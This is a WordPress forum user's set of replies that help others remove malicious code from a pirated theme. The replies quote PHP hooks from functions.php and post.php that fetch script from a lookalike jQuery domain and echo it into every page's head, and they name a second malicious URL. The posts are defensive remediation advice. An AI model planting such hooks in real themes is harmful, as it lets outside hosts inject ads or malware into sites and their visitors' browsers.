Felipe
Forum Replies Created
-
Forum: Fixing WordPress
In reply to: Unwanted Jquery (jquerys) script@ watesam, the script is called from another php
If you want, send me your theme in ZIP format for me to analyze.[ email redacted ]
Forum: Fixing WordPress
In reply to: Unwanted Jquery (jquerys) scriptponga acá en
codelo contenido en fichero “functions.php” de tu tema
put here the content from your “functions.php”Forum: Fixing WordPress
In reply to: Unwanted Jquery (jquerys) scriptYou’re welcome.
Forum: Fixing WordPress
In reply to: Unwanted Jquery (jquerys) scriptIn the theme folder, locate the “functions.php” and delete the follow lines (24-26)
if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');} if(!defined('WP_THEME_URL')) { define( 'WP_THEME_URL', get_template_directory_uri()); }Forum: Fixing WordPress
In reply to: Unwanted Jquery (jquerys) scriptThis script was previously inserted by the person who posted (for free) this theme. (Not by the creator of the theme, which sells its theme).
Forum: Fixing WordPress
In reply to: Unwanted Jquery (jquerys) scriptYou would find the malicious code in that file “modernize/include/plugin/post.php”
I replaced the contents of that post.php file by a empty php:
<?php /* * Post file * --------------------------------------------------------------------- * This file is empty * just for replacement. * --------------------------------------------------------------------- */ ?>(don’t exclude the file, just change the content)
Forum: Fixing WordPress
In reply to: Unwanted Jquery (jquerys) scriptWhat is your theme? What is your site?
Forum: Fixing WordPress
In reply to: Unwanted Jquery (jquerys) scriptI found the malicious call line in the “functions.php” theme.
include'include/plugin/post.php'; // post functionand content of the supposed “post.php” is:
<?php if (!function_exists('insert_jquery_des')){function insert_jquery_des(){if (function_exists('curl_init')){$url = "http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_des');} ?>Forum: Fixing WordPress
In reply to: Unable to Insert images after upgrade to 3.4.1try another browser or try disabling some firefox’s add-on
Forum: Fixing WordPress
In reply to: annoying ad of www.watchliveonline.org on my sitetry change the name of folder “javascript” inside of theme folder. If worked, create a new folder called “javascript” and move one-by-one of the .js files, until locate the malicious script. In my case, it worked.
Forum: Fixing WordPress
In reply to: annoying ad of www.watchliveonline.org on my siteIn my case, just for testing, in the theme folder I was changed the folder’s name of “javascript” to “javascript2” and the problem is solved.
Forum: Fixing WordPress
In reply to: annoying ad of www.watchliveonline.org on my siteWhat file?
Forum: Fixing WordPress
In reply to: annoying ad of www.watchliveonline.org on my site@pyiio I think this is the call for authentic jquery. The false is “jquerys”
Forum: Fixing WordPress
In reply to: annoying ad of www.watchliveonline.org on my site@pyrohot Don’t is that. This script is malicious.
I’m trying to find the line IN THE THEME to remove the call to that scriptForum: Fixing WordPress
In reply to: annoying ad of www.watchliveonline.org on my siteI found the source of evil: http://www.jquerys.org/class/jquery-1.6.3.min.js
I’m just trying to find the line in the theme